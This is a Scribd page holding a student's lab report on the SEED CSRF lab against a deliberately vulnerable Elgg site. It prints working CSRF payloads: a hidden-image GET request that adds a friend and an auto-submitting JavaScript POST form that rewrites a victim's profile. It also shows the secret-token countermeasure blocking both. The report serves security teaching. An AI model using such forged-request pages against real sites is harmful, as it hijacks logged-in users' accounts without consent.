Scribd
Upload
39 views

CSRF-Attack Lab

The document details a lab on Cross-Site Request Forgery (CSRF) attacks, demonstrating how to exploit GET and POST requests to manipulate user profiles on a vulnerable site. It describes the process of creating malicious HTML code to execute these attacks and discusses methods for identifying user IDs without logging in. Additionally, it outlines a countermeasure to prevent CSRF attacks by implementing secret tokens that must be included in requests, effectively blocking unauthorized actions.

Uploaded by

Vincent Chege
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
39 views

CSRF-Attack Lab

The document details a lab on Cross-Site Request Forgery (CSRF) attacks, demonstrating how to exploit GET and POST requests to manipulate user profiles on a vulnerable site. It describes the process of creating malicious HTML code to execute these attacks and discusses methods for identifying user IDs without logging in. Additionally, it outlines a countermeasure to prevent CSRF attacks by implementing secret tokens that must be included in requests, effectively blocking unauthorized actions.

Uploaded by

Vincent Chege
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 11

1

Cross-Site Request Forgery (CSRF) Attack Lab

Name

Course

Instructor

Due Date
2

Task 1: Observing HTTP Request.

Using the http header tool in the browser I can view the POST and GET requests.
3

Task 2: CSRF Attack using GET Request

This attack involves the user Boby using a CSRF attack to add himself to Alice’s friend list.

For this to work we can use and index.html file and use the <img> tags within the code to

trigger a GET request.

<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<h1>CSRF Attack Page</h1>
<p>Site is Under Maintenance</p>
<img src="http://www.csrflabelgg.com/action/friends/add?friend=43"
alt="image" width="1" height="1" />
</body>
</html>

Once saved we login into Boby’s profile and click on Blogs to create a blog.
4

Include a title for the blog and under the body section include the URL of the

malicious/vulnerable site. Once done click on Save.

I can log out of the Boby profile and login using Alice’s profile. I can now see the blog post

that I created using Boby’s profile.

Once I click the link, Alice is redirected to Boby’s malicious site and I can now see that Boby

has been added to Alice’s friend list.


5

From this task, I can infer that the HTML code is the way that initiates a CSRF attack; it does

so by loading an image that makes a GET request in the background to add a friend with the

ID 43(Boby) to the target user when the page is loaded.

Task 3: CSRF Attack using POST Request

This task will involve Boby inserting the text “Boby is my Hero” on Alice’s Profile page. For

this I can use the following code.

<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<h1>CSRF Attack Page - HTTP POST</h1>
<script type="text/javascript">
function forge_post() {
var fields;
fields = "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='description' value='SAMY
is MY HERO'>";
fields += "<input type='hidden' name='accesslevel[description]'
value='2'>";
6

fields += "<input type='hidden' name='guid' value='42'>";

var p = document.createElement("form");
p.action = "http://www.csrflabelgg.com/action/profile/edit";
p.innerHTML = fields;
p.method = "post";
document.body.appendChild(p);
p.submit();
}

window.onload = function() {
forge_post();
};
</script>
</body>
</html>

In this case the GUID for the user Alice is 42. The code will be placed in the directory cd

/var/www/CSRF/Attacker/ as index.html

This HTML/JavaScript code is executed to initiate a CSRF attack by automatically firing a

POST request upon page load. It generates a hidden form that carries all the required input

fields pre-defined (name, description, and guid) and prescribes the exact URL of one

functionality on the vulnerable site in charge of altering user profile information. At the
7

moment the page has loaded, the Javascript function forge_post() generates and submits such

form invisibly (i.e., without user interaction), thereby successfully running the unauthorized

request on behalf of a logged-in user.

We can use the same blog post created by Boby that used with the previous attack to carry out

this attack. I can now login with the user profile Alice and click on the malicious link.

Once I click the site, the attack is carried out and the message “SAMY IS MY HERO” is

appended on Alice’s about me page.


8

Question 1: The forged HTTP request needs Alice’s user id (guid) to work properly. If Boby

targets Alice specifically, before the attack, he can find ways to get Alice’s user id. Boby does

not know Alice’s Elgg password, so he cannot log into Alice’s account to get the information.

Please describe how Boby can solve this problem.

To identify Alice’s user ID (guid) without actually logging into the account, Boby could use a

tool such as HTTP Header Live to intercept and analyze network traffic between his browser

and the Elgg site. When he goes to pages which she has interacted with (like her profile page

or posts where she has commented) information regarding what is being sent can be

monitored through HTTP headers and URL parameters.

Question 2: If Boby would like to launch the attack to anybody who visits his malicious web

page. In this case, he does not know who is visiting the web page beforehand. Can he still

launch the CSRF attack to modify the victim’s Elgg profile? Please explain.

Yes, Boby can still CSRF any visitor who loads his malicious page; he does not need to know

the identity of the victim in advance. Since the CSRF attack is meant to run within the active

session of the victim, therefore as long as the victim has an active session on Elgg when the

forged request is done, then that means Boby does not need to find out specific information
9

about the visitor so that he can execute the malicious action; he only needs the visitor to be

logged in to Elgg while visiting the malicious page.

Task 4: Implementing a countermeasure for Elgg

This task involves implementing a countermeasure for the Elgg application to mitigate

against CSRF attacks. We can edit the file Action under the directory

/var/www/CSR/Elgg/vendor/elgg/elgg/engine/classes/Elgg

We will comment out the return true; in the function gatekeeper and try to run the attacks on

the application again.


10

We will use Alice’s profile to see if the countermeasure is successful against the CSRF attack.

The countermeasure has prevented the CSRF attack from loading.


11

When the countermeasure is enabled by commenting out return true; in the gatekeeper

function, then the application enforces CSRF protection using secret tokens. Those tokens

must be included with every request, meaning that the user has to know and include them for

actions that modify data. When I retried the CSRF attack, it failed because of a missing token.

In the HTTP request, as captured by the HTTP inspection tool of Firefox, the secret tokens

appear as hidden form fields or as query parameters. Because they are unique to each user

session and dynamically generated, the attacker cannot include them in their forged request.

As these tokens are usually kept in JavaScript variables or form fields and are not accessible

to external sites because of the Same-Origin Policy, an attacker cannot access or reproduce

them, thus leading to prevention of a successful CSRF attack.

You might also like